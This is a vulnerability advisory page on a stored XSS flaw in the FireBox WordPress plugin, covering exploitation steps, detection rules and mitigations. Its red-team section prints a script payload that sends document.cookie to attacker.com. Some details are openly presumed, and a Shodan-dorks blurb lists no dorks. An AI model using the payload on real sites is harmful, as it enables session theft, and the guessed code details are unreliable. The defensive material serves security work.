CVE-2025-67545
Executive Summary
CVE-2025-67545 is a Stored Cross-Site Scripting (XSS) vulnerability in the FirePlugins FireBox WordPress plugin, affecting versions up to and including 3.1.0-free. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject malicious scripts that are stored on the server and executed in the browsers of other users (including administrators). This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.
Given the WordPress ecosystem context, this vulnerability is particularly dangerous because it can be chained with privilege escalation attacks. The CVSS score of 6.5 (Medium) reflects the need for authenticated access and user interaction, but the stored nature of the XSS significantly increases the real-world impact.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed FireBox from the WordPress dashboard or via direct download are at risk. No official patch has been released, and the plugin may be abandoned. Organizations should treat this as a supply chain risk and consider removing the plugin entirely.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
- User Interaction (UI): Required (R) – The victim must visit the affected page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium (6.5) – Exploitation requires authentication but can lead to significant compromise of the WordPress site.
Deep Dive & Mechanics
The vulnerability exists in the FireBox plugin's handling of user-submitted content, likely within a custom post type or shortcode that renders user input without proper sanitization or output encoding. An attacker with contributor-level access can inject JavaScript payloads into fields such as box titles, descriptions, or custom CSS/HTML fields. When an administrator or other user views the FireBox configuration or the front-end popup, the injected script executes in their browser context.
The stored XSS persists across sessions, meaning the malicious payload remains active until manually removed from the database. This allows for persistent attacks, such as creating rogue admin users or exfiltrating session cookies.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin's output rendering functions. A typical vulnerable pattern in WordPress plugins is:
// Vulnerable code (example)
echo '<div class="firebox-title">' . $title . '</div>';
The patched version would use WordPress's escaping functions:
// Patched code (example)
echo '<div class="firebox-title">' . esc_html( $title ) . '</div>';
Without an official patch, users must manually apply similar escaping in the plugin's template files or use a Web Application Firewall (WAF) to block malicious input.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with FireBox plugin <= 3.1.0-free
- Contributor-level account or higher
Exploitation Steps:
- Log in as a contributor.
- Navigate to FireBox settings (e.g.,
/wp-admin/admin.php?page=firebox). - Create or edit a FireBox popup.
- In a text field (e.g., "Title" or "Custom HTML"), inject a payload:
<script>alert('XSS')</script> - Save the popup.
- As an administrator, view the popup list or the front-end page where the popup appears.
- The script executes in the admin's browser.
Advanced Payload (Cookie Stealing):
<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
Blue Team
Detection:
- Monitor for unusual POST requests to
/wp-admin/admin-ajax.phpor FireBox-specific endpoints. - Look for script tags in FireBox-related database entries (e.g.,
wp_postmetawith meta_keyfirebox_settings).
Prevention:
- Disable the FireBox plugin until a patch is available.
- Implement a WAF rule to block
<script>tags in POST data. - Restrict contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/firebox/(entire plugin directory) - Database: Entries in
wp_postmetawithmeta_keycontainingfireboxandmeta_valuecontaining<script>tags. - Network: Outbound HTTP requests to unknown domains from the WordPress server.
- Logs:
wp-content/debug.logentries showing PHP warnings related to FireBox.
Detection Engineering
YARA Rule
rule detect_firebox_stored_xss {
meta:
description = "Detects FireBox plugin files with potential stored XSS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-67545"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$firebox_file = "firebox" nocase
condition:
$firebox_file and #xss_payload > 0
}
Sigma Rule
title: FireBox Stored XSS Detection
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS in FireBox plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'firebox'
cs-uri-query|contains: 'action=save'
condition: selection
falsepositives:
- Legitimate plugin updates
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-67545 FireBox Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"firebox"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the FireBox plugin until a patch is released.
- Audit all FireBox content for injected scripts using a database scan.
- Change all WordPress admin passwords if compromise is suspected.
Long-term Mitigation:
- Monitor the FirePlugins website for an official patch.
- Consider replacing FireBox with an actively maintained alternative.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
- Enforce least privilege for WordPress user roles.
Workaround (if plugin must remain active):
- Use a WAF to block
<script>tags in POST requests to FireBox endpoints. - Manually edit plugin files to add
esc_html()orwp_kses_post()around output variables.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.